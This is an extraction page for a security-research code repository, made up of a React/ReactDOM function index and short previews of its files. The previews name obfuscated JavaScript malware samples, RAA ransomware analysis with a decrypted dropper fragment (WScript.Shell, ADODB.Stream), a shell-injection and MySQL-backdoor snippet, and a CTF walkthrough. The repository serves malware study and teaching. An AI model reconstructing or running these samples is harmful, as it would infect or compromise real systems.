  function pauseCurrentLifeCycleTimer (line 8554) | function pauseCurrentLifeCycleTimer() {
  function resumeCurrentLifeCycleTimer (line 8568) | function resumeCurrentLifeCycleTimer() {
  function shouldMark (line 8585) | function shouldMark(debugID) {
  function markBegin (line 8600) | function markBegin(debugID, markType) {
  function markEnd (line 8610) | function markEnd(debugID, markType) {
  function ReactDefaultBatchingStrategyTransaction (line 8797) | function ReactDefaultBatchingStrategyTransaction() {
  function inject (line 8866) | function inject() {
  function invokeGuardedCallback (line 8991) | function invokeGuardedCallback(name, func, a) {
  function runEventQueueInBatch (line 9058) | function runEventQueueInBatch(events) {
  function findParent (line 9104) | function findParent(inst) {
  function TopLevelCallbackBookKeeping (line 9117) | function TopLevelCallbackBookKeeping(topLevelType, nativeEvent) {
  function handleTopLevelImpl (line 9131) | function handleTopLevelImpl(bookKeeping) {
  function scrollValueMonitor (line 9151) | function scrollValueMonitor(cb) {
  function createInternalComponent (line 9291) | function createInternalComponent(element) {
  function createInstanceForText (line 9300) | function createInstanceForText(text) {
  function isTextComponent (line 9308) | function isTextComponent(component) {
  function isInDocument (line 9407) | function isInDocument(node) {
  function firstDifferenceIndex (line 9721) | function firstDifferenceIndex(string1, string2) {
  function getReactRootElementInContainer (line 9736) | function getReactRootElementInContainer(container) {
  function internalGetID (line 9748) | function internalGetID(node) {
  function mountComponentIntoNode (line 9763) | function mountComponentIntoNode(wrapperInstance, container, transaction,...
  function batchedMountComponentIntoNode (line 9790) | function batchedMountComponentIntoNode(componentInstance, container, sho...
  function unmountComponentFromNode (line 9807) | function unmountComponentFromNode(instance, container, safely) {
  function hasNonRootReactChild (line 9836) | function hasNonRootReactChild(container) {
  function nodeIsRenderedByOtherInstance (line 9852) | function nodeIsRenderedByOtherInstance(container) {
  function isValidContainer (line 9864) | function isValidContainer(node) {
  function isReactNode (line 9875) | function isReactNode(node) {
  function getHostRootInstanceInContainer (line 9879) | function getHostRootInstanceInContainer(container) {
  function getTopLevelWrapperInContainer (line 9885) | function getTopLevelWrapperInContainer(container) {
  function makeInsertMarkup (line 10240) | function makeInsertMarkup(markup, afterNode, toIndex) {
  function makeMove (line 10259) | function makeMove(child, afterNode, toIndex) {
  function makeRemove (line 10277) | function makeRemove(child, node) {
  function makeSetMarkup (line 10295) | function makeSetMarkup(markup) {
  function makeTextContent (line 10313) | function makeTextContent(textContent) {
  function enqueue (line 10329) | function enqueue(queue, update) {
  function processQueue (line 10342) | function processQueue(inst, updateQueue) {
  function isValidOwner (line 10715) | function isValidOwner(object) {
  function roundFloat (line 10807) | function roundFloat(val) {
  function consoleTable (line 10816) | function consoleTable(table) {
  function warnInProduction (line 10820) | function warnInProduction() {
  function getLastMeasurements (line 10830) | function getLastMeasurements() {
  function getExclusive (line 10839) | function getExclusive() {
  function getInclusive (line 10901) | function getInclusive() {
  function getWasted (line 10986) | function getWasted() {
  function getOperations (line 11096) | function getOperations() {
  function printExclusive (line 11133) | function printExclusive(flushHistory) {
  function printInclusive (line 11160) | function printInclusive(flushHistory) {
  function printWasted (line 11183) | function printWasted(flushHistory) {
  function printOperations (line 11206) | function printOperations(flushHistory) {
  function printDOM (line 11227) | function printDOM(measurements) {
  function getMeasurementsSummaryMap (line 11234) | function getMeasurementsSummaryMap(measurements) {
  function start (line 11240) | function start() {
  function stop (line 11249) | function stop() {
  function isRunning (line 11258) | function isRunning() {
  function ReactReconcileTransaction (line 11440) | function ReactReconcileTransaction(useCreateElement) {
  function attachRefs (line 11528) | function attachRefs() {
  function attachRef (line 11690) | function attachRef(ref, component, owner) {
  function detachRef (line 11699) | function detachRef(ref, component, owner) {
  function ReactServerRenderingTransaction (line 11803) | function ReactServerRenderingTransaction(renderToStaticMarkup) {
  function _classCallCheck (line 11865) | function _classCallCheck(instance, Constructor) { if (!(instance instanc...
  function warnNoop (line 11871) | function warnNoop(publicInstance, callerName) {
  function ReactServerUpdateQueue (line 11887) | function ReactServerUpdateQueue(transaction) {
  function _classCallCheck (line 12006) | function _classCallCheck(instance, Constructor) { if (!(instance instanc...
  function injectDefaults (line 12019) | function injectDefaults() {
  function NoopInternalComponent (line 12025) | function NoopInternalComponent(element) {
  function _batchedRender (line 12073) | function _batchedRender(renderer, element, context) {
  function ReactShallowRenderer (line 12080) | function ReactShallowRenderer() {
  function Event (line 12176) | function Event(suffix) {}
  function createRendererWithWarning (line 12182) | function createRendererWithWarning() {
  function findAllInRenderedTreeInternal (line 12193) | function findAllInRenderedTreeInternal(inst, test) {
  function makeSimulator (line 12460) | function makeSimulator(eventType) {
  function buildSimulators (line 12497) | function buildSimulators() {
  function makeNativeSimulator (line 12540) | function makeNativeSimulator(eventType) {
  function enqueueUpdate (line 12587) | function enqueueUpdate(internalInstance) {
  function formatUnexpectedArgument (line 12591) | function formatUnexpectedArgument(arg) {
  function getInternalInstanceReadyForUpdate (line 12604) | function getInternalInstanceReadyForUpdate(publicInstance, callerName) {
  function ensureInjected (line 12829) | function ensureInjected() {
  function ReactUpdatesFlushTransaction (line 12863) | function ReactUpdatesFlushTransaction() {
  function batchedUpdates (line 12893) | function batchedUpdates(callback, a, b, c, d, e) {
  function mountOrderComparator (line 12905) | function mountOrderComparator(c1, c2) {
  function runBatchedUpdates (line 12909) | function runBatchedUpdates(transaction) {
  function enqueueUpdate (line 12988) | function enqueueUpdate(component) {
  function asap (line 13012) | function asap(callback, context) {
  function getSelection (line 13418) | function getSelection(node) {
  function constructSelectEvent (line 13449) | function constructSelectEvent(nativeEvent, nativeEventTarget) {
  function getDictionaryKey (line 13626) | function getDictionaryKey(inst) {
  function isInteractive (line 13632) | function isInteractive(tag) {
  function SyntheticAnimationEvent (line 13811) | function SyntheticAnimationEvent(dispatchConfig, dispatchMarker, nativeE...
  function SyntheticClipboardEvent (line 13849) | function SyntheticClipboardEvent(dispatchConfig, dispatchMarker, nativeE...
  function SyntheticCompositionEvent (line 13885) | function SyntheticCompositionEvent(dispatchConfig, dispatchMarker, nativ...
  function SyntheticDragEvent (line 13921) | function SyntheticDragEvent(dispatchConfig, dispatchMarker, nativeEvent,...
  function SyntheticEvent (line 13990) | function SyntheticEvent(dispatchConfig, targetInst, nativeEvent, nativeE...
  function getPooledWarningPropertyDefinition (line 14168) | function getPooledWarningPropertyDefinition(propName, getVal) {
  function SyntheticFocusEvent (line 14223) | function SyntheticFocusEvent(dispatchConfig, dispatchMarker, nativeEvent...
  function SyntheticInputEvent (line 14260) | function SyntheticInputEvent(dispatchConfig, dispatchMarker, nativeEvent...
  function SyntheticKeyboardEvent (line 14344) | function SyntheticKeyboardEvent(dispatchConfig, dispatchMarker, nativeEv...
  function SyntheticMouseEvent (line 14416) | function SyntheticMouseEvent(dispatchConfig, dispatchMarker, nativeEvent...
  function SyntheticTouchEvent (line 14461) | function SyntheticTouchEvent(dispatchConfig, dispatchMarker, nativeEvent...
  function SyntheticTransitionEvent (line 14500) | function SyntheticTransitionEvent(dispatchConfig, dispatchMarker, native...
  function SyntheticUIEvent (line 14559) | function SyntheticUIEvent(dispatchConfig, dispatchMarker, nativeEvent, n...
  function SyntheticWheelEvent (line 14610) | function SyntheticWheelEvent(dispatchConfig, dispatchMarker, nativeEvent...
  function accumulateInto (line 14901) | function accumulateInto(current, next) {
  function adler32 (line 14949) | function adler32(data) {
  function checkReactTypeSpec (line 15019) | function checkReactTypeSpec(typeSpecs, values, location, componentName, ...
  function dangerousStyleValue (line 15122) | function dangerousStyleValue(name, value, component, isCustomProperty) {
  function escapeHtml (line 15226) | function escapeHtml(string) {
  function escapeTextContentForBrowser (line 15283) | function escapeTextContentForBrowser(text) {
  function findDOMNode (line 15325) | function findDOMNode(componentOrElement) {
  function flattenSingleChildIntoContext (line 15390) | function flattenSingleChildIntoContext(traverseContext, child, name, sel...
  function flattenChildren (line 15414) | function flattenChildren(children, selfDebugID) {
  function forEachAccumulated (line 15454) | function forEachAccumulated(arr, cb, scope) {
  function getEventCharCode (line 15487) | function getEventCharCode(nativeEvent) {
  function getEventKey (line 15595) | function getEventKey(nativeEvent) {
  function modifierStateGetter (line 15653) | function modifierStateGetter(keyArg) {
  function getEventModifierState (line 15663) | function getEventModifierState(nativeEvent) {
  function getEventTarget (line 15689) | function getEventTarget(nativeEvent) {
  function getHostComponentFromComposite (line 15718) | function getHostComponentFromComposite(inst) {
  function getIteratorFn (line 15766) | function getIteratorFn(maybeIterable) {
  function getLeafNode (line 15794) | function getLeafNode(node) {
  function getSiblingNode (line 15808) | function getSiblingNode(node) {
  function getNodeForCharacterOffset (line 15824) | function getNodeForCharacterOffset(root, offset) {
  function getTextContentAccessor (line 15871) | function getTextContentAccessor() {
  function makePrefixMap (line 15903) | function makePrefixMap(styleProp, eventName) {
  function getVendorPrefixedEventName (line 15963) | function getVendorPrefixedEventName(eventName) {
  function isCheckable (line 15997) | function isCheckable(elem) {
  function getTracker (line 16003) | function getTracker(inst) {
  function attachTracker (line 16007) | function attachTracker(inst, tracker) {
  function detachTracker (line 16011) | function detachTracker(inst) {
  function getValueFromNode (line 16015) | function getValueFromNode(node) {
  function getDeclarationErrorAddendum (line 16134) | function getDeclarationErrorAddendum(owner) {
  function isInternalComponentType (line 16151) | function isInternalComponentType(type) {
  function instantiateReactComponent (line 16163) | function instantiateReactComponent(node, shouldHaveDebugID) {
  function isEventSupported (line 16271) | function isEventSupported(eventNameSuffix, capture) {
  function isTextInputElement (line 16330) | function isTextInputElement(elem) {
  function quoteAttributeValueForBrowser (line 16431) | function quoteAttributeValueForBrowser(value) {
  function reactProdInvariant (line 16456) | function reactProdInvariant(code) {
  function shouldUpdateReactComponent (line 16666) | function shouldUpdateReactComponent(prevElement, nextElement) {
  function getComponentKey (line 16729) | function getComponentKey(component, index) {
  function traverseAllChildrenImpl (line 16748) | function traverseAllChildrenImpl(children, nameSoFar, callback, traverse...
  function traverseAllChildren (line 16850) | function traverseAllChildren(children, callback, traverseContext) {
  function camelize (line 17445) | function camelize(string) {
  function camelizeStyleName (line 17487) | function camelizeStyleName(string) {
  function containsNode (line 17513) | function containsNode(outerNode, innerNode) {
  function toArray (line 17557) | function toArray(obj) {
  function hasArrayNature (line 17605) | function hasArrayNature(obj) {
  function createArrayFromMixed (line 17648) | function createArrayFromMixed(obj) {
  function getNodeName (line 17697) | function getNodeName(markup) {
  function createNodesFromMarkup (line 17712) | function createNodesFromMarkup(markup, handleScript) {
  function makeEmptyFunction (line 17757) | function makeEmptyFunction(arg) {
  function focusNode (line 17819) | function focusNode(node) {
  function getActiveElement (line 17855) | function getActiveElement(doc) /*?DOMElement*/{
  function getMarkupWrap (line 17946) | function getMarkupWrap(nodeName) {
  function getUnboundedScrollPosition (line 17988) | function getUnboundedScrollPosition(scrollable) {
  function hyphenate (line 18030) | function hyphenate(string) {
  function hyphenateStyleName (line 18069) | function hyphenateStyleName(string) {
  function invariant (line 18108) | function invariant(condition, format, a, b, c, d, e, f) {
  function isNode (line 18148) | function isNode(object) {
  function isTextNode (line 18175) | function isTextNode(object) {
  function memoizeStringOnly (line 18199) | function memoizeStringOnly(callback) {
  function is (line 18290) | function is(x, y) {
  function shallowEqual (line 18308) | function shallowEqual(objA, objB) {
  function toObject (line 18415) | function toObject(val) {
  function shouldUseNative (line 18423) | function shouldUseNative() {
  function checkPropTypes (line 18524) | function checkPropTypes(typeSpecs, values, location, componentName, getS...
  function getIteratorFn (line 18618) | function getIteratorFn(maybeIterable) {
  function is (line 18701) | function is(x, y) {
  function PropTypeError (line 18721) | function PropTypeError(message) {
  function createChainableTypeChecker (line 18728) | function createChainableTypeChecker(validate) {
  function createPrimitiveTypeChecker (line 18788) | function createPrimitiveTypeChecker(expectedType) {
  function createAnyTypeChecker (line 18805) | function createAnyTypeChecker() {
  function createArrayOfTypeChecker (line 18809) | function createArrayOfTypeChecker(typeChecker) {
  function createElementTypeChecker (line 18830) | function createElementTypeChecker() {
  function createInstanceTypeChecker (line 18842) | function createInstanceTypeChecker(expectedClass) {
  function createEnumTypeChecker (line 18854) | function createEnumTypeChecker(expectedValues) {
  function createObjectOfTypeChecker (line 18874) | function createObjectOfTypeChecker(typeChecker) {
  function createUnionTypeChecker (line 18897) | function createUnionTypeChecker(arrayOfTypeCheckers) {
  function createNodeChecker (line 18930) | function createNodeChecker() {
  function createShapeTypeChecker (line 18940) | function createShapeTypeChecker(shapeTypes) {
  function isNode (line 18962) | function isNode(propValue) {
  function isSymbol (line 19009) | function isSymbol(propType, propValue) {
  function getPropType (line 19029) | function getPropType(propValue) {
  function getPreciseType (line 19048) | function getPreciseType(propValue) {
  function getPostfixForTypeWarning (line 19065) | function getPostfixForTypeWarning(value) {
  function getClassName (line 19081) | function getClassName(propValue) {

FILE: simple-markdown-playground/react.js
  function s (line 4) | function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&re...
  function escape (line 25) | function escape(key) {
  function unescape (line 44) | function unescape(key) {
  function ReactComponent (line 333) | function ReactComponent(props, context, updater) {
  function ReactPureComponent (line 428) | function ReactPureComponent(props, context, updater) {
  function ComponentDummy (line 438) | function ComponentDummy() {}
  function escapeUserProvidedKey (line 473) | function escapeUserProvidedKey(text) {
  function ForEachBookKeeping (line 485) | function ForEachBookKeeping(forEachFunction, forEachContext) {
  function forEachSingleChild (line 497) | function forEachSingleChild(bookKeeping, child, name) {
  function forEachChildren (line 516) | function forEachChildren(children, forEachFunc, forEachContext) {
  function MapBookKeeping (line 534) | function MapBookKeeping(mapResult, keyPrefix, mapFunction, mapContext) {
  function mapSingleChildIntoContext (line 550) | function mapSingleChildIntoContext(bookKeeping, child, childKey) {
  function mapIntoWithKeyPrefixInternal (line 571) | function mapIntoWithKeyPrefixInternal(children, array, prefix, func, con...
  function mapChildren (line 594) | function mapChildren(children, func, context) {
  function forEachSingleChildDummy (line 603) | function forEachSingleChildDummy(traverseContext, child, name) {
  function countChildren (line 616) | function countChildren(children, context) {
  function toArray (line 626) | function toArray(children) {
  function isNative (line 662) | function isNative(fn) {
  function purgeDeep (line 771) | function purgeDeep(id) {
  function describeComponentFrame (line 781) | function describeComponentFrame(name, source, ownerName) {
  function getDisplayName (line 785) | function getDisplayName(element) {
  function describeID (line 797) | function describeID(id) {
  function hasValidRef (line 1250) | function hasValidRef(config) {
  function hasValidKey (line 1262) | function hasValidKey(config) {
  function defineKeyPropWarningGetter (line 1274) | function defineKeyPropWarningGetter(props, displayName) {
  function defineRefPropWarningGetter (line 1288) | function defineRefPropWarningGetter(props, displayName) {
  function getDeclarationErrorAddendum (line 1610) | function getDeclarationErrorAddendum() {
  function getSourceInfoErrorAddendum (line 1620) | function getSourceInfoErrorAddendum(elementProps) {
  function getCurrentComponentErrorInfo (line 1637) | function getCurrentComponentErrorInfo(parentType) {
  function validateExplicitKey (line 1660) | function validateExplicitKey(element, parentType) {
  function validateChildKeys (line 1695) | function validateChildKeys(node, parentType) {
  function validatePropTypes (line 1734) | function validatePropTypes(element) {
  function warnNoop (line 1849) | function warnNoop(publicInstance, callerName) {
  function checkReactTypeSpec (line 2110) | function checkReactTypeSpec(typeSpecs, values, location, componentName, ...
  function getIteratorFn (line 2208) | function getIteratorFn(maybeIterable) {
  function getNextDebugID (line 2232) | function getNextDebugID() {
  function onlyChild (line 2334) | function onlyChild(children) {
  function reactProdInvariant (line 2360) | function reactProdInvariant(code) {
  function getComponentKey (line 2425) | function getComponentKey(component, index) {
  function traverseAllChildrenImpl (line 2444) | function traverseAllChildrenImpl(children, nameSoFar, callback, traverse...
  function traverseAllChildren (line 2546) | function traverseAllChildren(children, callback, traverseContext) {
  function identity (line 2581) | function identity(fn) {
  function factory (line 2596) | function factory(ReactComponent, isValidElement, ReactNoopUpdateQueue) {
  function makeEmptyFunction (line 3443) | function makeEmptyFunction(arg) {
  function invariant (line 3522) | function invariant(condition, format, a, b, c, d, e, f) {
  function toObject (line 3624) | function toObject(val) {
  function shouldUseNative (line 3632) | function shouldUseNative() {
  function checkPropTypes (line 3733) | function checkPropTypes(typeSpecs, values, location, componentName, getS...
  function getIteratorFn (line 3827) | function getIteratorFn(maybeIterable) {
  function is (line 3910) | function is(x, y) {
  function PropTypeError (line 3930) | function PropTypeError(message) {
  function createChainableTypeChecker (line 3937) | function createChainableTypeChecker(validate) {
  function createPrimitiveTypeChecker (line 3997) | function createPrimitiveTypeChecker(expectedType) {
  function createAnyTypeChecker (line 4014) | function createAnyTypeChecker() {
  function createArrayOfTypeChecker (line 4018) | function createArrayOfTypeChecker(typeChecker) {
  function createElementTypeChecker (line 4039) | function createElementTypeChecker() {
  function createInstanceTypeChecker (line 4051) | function createInstanceTypeChecker(expectedClass) {
  function createEnumTypeChecker (line 4063) | function createEnumTypeChecker(expectedValues) {
  function createObjectOfTypeChecker (line 4083) | function createObjectOfTypeChecker(typeChecker) {
  function createUnionTypeChecker (line 4106) | function createUnionTypeChecker(arrayOfTypeCheckers) {
  function createNodeChecker (line 4139) | function createNodeChecker() {
  function createShapeTypeChecker (line 4149) | function createShapeTypeChecker(shapeTypes) {
  function isNode (line 4171) | function isNode(propValue) {
  function isSymbol (line 4218) | function isSymbol(propType, propValue) {
  function getPropType (line 4238) | function getPropType(propValue) {
  function getPreciseType (line 4257) | function getPreciseType(propValue) {
  function getPostfixForTypeWarning (line 4274) | function getPostfixForTypeWarning(value) {
  function getClassName (line 4290) | function getClassName(propValue) {
Condensed preview — 29 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (1,662K chars).
[
  {
    "path": ".gitignore",
    "chars": 97,
    "preview": "hidden_directories_leaks/assets.zip\nsnippets/sqlite_sqlinjection_research.txt\n.idea/\n*/**/.idea\n\n"
  },
  {
    "path": "README.md",
    "chars": 1120,
    "preview": "\n#### Most common security vulnerabilities in npm static content/file servers modules\n\nhttps://github.com/bl4de/research"
  },
  {
    "path": "VACS-draft.md",
    "chars": 20017,
    "preview": "July, 2016\n\n## Introduction\n\nWe're living in the Net. All our data, communication, money, work, almost everything depend"
  },
  {
    "path": "burp-chromium-setup/README.md",
    "chars": 6483,
    "preview": "## Burp Suite and Chromium setup how-to\n\nThis is quick how-to presents my way to configure Chromium web browser to work "
  },
  {
    "path": "hidden_directories_leaks/README.md",
    "chars": 21915,
    "preview": "# Hidden directories and files as a source of sensitive information about web application\n\nHidden directories, left acci"
  },
  {
    "path": "how_to_deal_with_dupes/hot_to_deal_with_dupes.md",
    "chars": 22224,
    "preview": "## How to deal with duplicates (and start to like them, with a little help of Jennifer Lawrence ;) )\n\n### Intro\n\nIf you "
  },
  {
    "path": "javascript-malware-obfuscation/Simple_JavaScript_malware_code_obfuscation_examples.md",
    "chars": 28086,
    "preview": "# Simple JavaScript malware code deobfuscation walkthrough\n\n\n__WARNING! Files ```do_not_run.js``` and ```do_not_run_deob"
  },
  {
    "path": "javascript-malware-obfuscation/do_not_run.js",
    "chars": 24043,
    "preview": "(function (quhuvu6) {\n    var defiq = cicuza(quhuvu6);\n    var permy = \"H@D~7a84O\";\n    var paghimqycgi = {\n        getp"
  },
  {
    "path": "javascript-malware-obfuscation/do_not_run_deobfuscated.js",
    "chars": 1091,
    "preview": "(function(quhuvu6) {\n    var defiq = cicuza(quhuvu6);\n    var permy = \"H@D~7a84O\";\n    var v = {\n        getpy: \"myqniro"
  },
  {
    "path": "npm-static-servers-most-common-issues/npm-static-servers-most-common-issues.md",
    "chars": 18602,
    "preview": "# Most common security vulnerabilities in npm static content/file servers modules\r\n\r\n## Intro\r\n\r\nIf you are JavaScript d"
  },
  {
    "path": "params.json",
    "chars": 5422,
    "preview": "{\n  \"name\": \"About me\",\n  \"tagline\": \"About me\",\n  \"body\": \"\\r\\n### whoami\\r\\n--\\r\\n\\r\\n```\\r\\nwhoIsBl4de() {\\r\\n  [\\r\\n"
  },
  {
    "path": "pwnlab-walkthrough-INCOMLETE.txt",
    "chars": 9252,
    "preview": "\nStarting Nmap 7.11 ( https://nmap.org ) at 2016-08-07 15:51 IST\nNmap scan report for 192.168.1.2\nHost is up (0.0012s la"
  },
  {
    "path": "raa-ransomware-analysis/README.md",
    "chars": 40998,
    "preview": "## RAA Ransomware JavaScript code analysis\n\nOn 14th of June 2016 while checking Twitter I spotted an information about n"
  },
  {
    "path": "raa-ransomware-analysis/execution-flow-chart.txt",
    "chars": 532,
    "preview": "\n\t\n\tYUIMqkFkI()\n\t\t|\n\t\t|\n\t\tv\n\tnYuMHHRx()\n\tNWvQtGjjfQX()\n\t\t|\n\t\tv\n\tzQqUzoSxLQ() ---> HxBG()\n\t\t\t\t\t\t|\n\t\t\t\t\t\t|\n\t\t\t\t\t\tv\n\t\t\t\t\ttr"
  },
  {
    "path": "raa-ransomware-analysis/extracted/dec_cmd_decrypted.js",
    "chars": 481,
    "preview": "var flo = new ActiveXObject (\"ADODB.Stream\");\nvar runer = WScript.CreateObject(\"WScript.Shell\");\nvar wher = runer.Specia"
  },
  {
    "path": "raa-ransomware-analysis/extracted/extracted_rtf.rtf",
    "chars": 12797,
    "preview": "{\\rtf1\\ansi\\ansicpg1251\\deff0\\deflang1049{\\fonttbl{\\f0\\fswiss\\fprq2\\fcharset204{\\*\\fname Arial;}Arial CYR;}{\\f1\\fnil\\fch"
  },
  {
    "path": "raa-ransomware-analysis/extracted/file01_part.xml",
    "chars": 991,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersi"
  },
  {
    "path": "raa-ransomware-analysis/work/test.js",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "raa-ransomware-analysis/work/tmp.js",
    "chars": 538358,
    "preview": "// /**\n//  * Created by bl4de on 12.07.2016.\n//  */\n//\n// function NWvQtGjjfQX() {\n//     var data_pn = \"TVrDiQNMSIOPDNM"
  },
  {
    "path": "raa-ransomware-analysis/work/tmp2.js",
    "chars": 6061,
    "preview": "/**\n * Created by bl4de on 27.07.2016.\n */\nfunction KWgwJwOlqJcs(IMhTname) {\n\n    function rStinsVp(rand) {\n        var "
  },
  {
    "path": "raa-ransomware-analysis/work/tmp3.js",
    "chars": 1107,
    "preview": "/**\n * Created by bl4de on 27.07.2016.\n */\nfunction rStinsVp(rand) {\n    var eqQu = [];\n    var EPtLPmand = -1;\n    do {"
  },
  {
    "path": "simple-markdown-playground/react-dom.js",
    "chars": 653066,
    "preview": " /**\n  * ReactDOM v15.6.1\n  */\n\n;(function(f) {\n  // CommonJS\n  if (typeof exports === \"object\" && typeof module !== \"un"
  },
  {
    "path": "simple-markdown-playground/react.html",
    "chars": 694,
    "preview": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>Hello World</title>\n    <script src=\"react.js\"><"
  },
  {
    "path": "simple-markdown-playground/react.js",
    "chars": 145032,
    "preview": " /**\n  * React v15.6.1\n  */\n(function(f){if(typeof exports===\"object\"&&typeof module!==\"undefined\"){module.exports=f()}e"
  },
  {
    "path": "simple-markdown-playground/simple-markdown-modified.js",
    "chars": 55206,
    "preview": "/* @flow */\n\n/**\n * Simple-Markdown\n * ===============\n *\n * Simple-Markdown's primary goal is to be easy to adapt. It a"
  },
  {
    "path": "snippets/from_shell_injection_to_root.txt",
    "chars": 2493,
    "preview": "1. Find Shell Injection/OS Command Execution vulnerability \n\n\nShell injection is generally considered one of the most da"
  },
  {
    "path": "snippets/mysql_loadintooutfile_backdoor.txt",
    "chars": 2770,
    "preview": "################################################################################\n#####\t\t\t\t\t\t\t\t\t########\n#####\t\tHow to us"
  },
  {
    "path": "snippets/rpc.txt",
    "chars": 2645,
    "preview": "=== RPC / Portmapper ===\n\nRPC: https://tools.ietf.org/html/rfc1057\nXDR: http://tools.ietf.org/html/rfc1832\nRPC protocol:"
  }
]

// ... and 1 more files (download for full content)

About this extraction

This page contains the full source code of the bl4de/research GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 29 files (1.5 MB), approximately 590.4k tokens, and a symbol index with 408 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!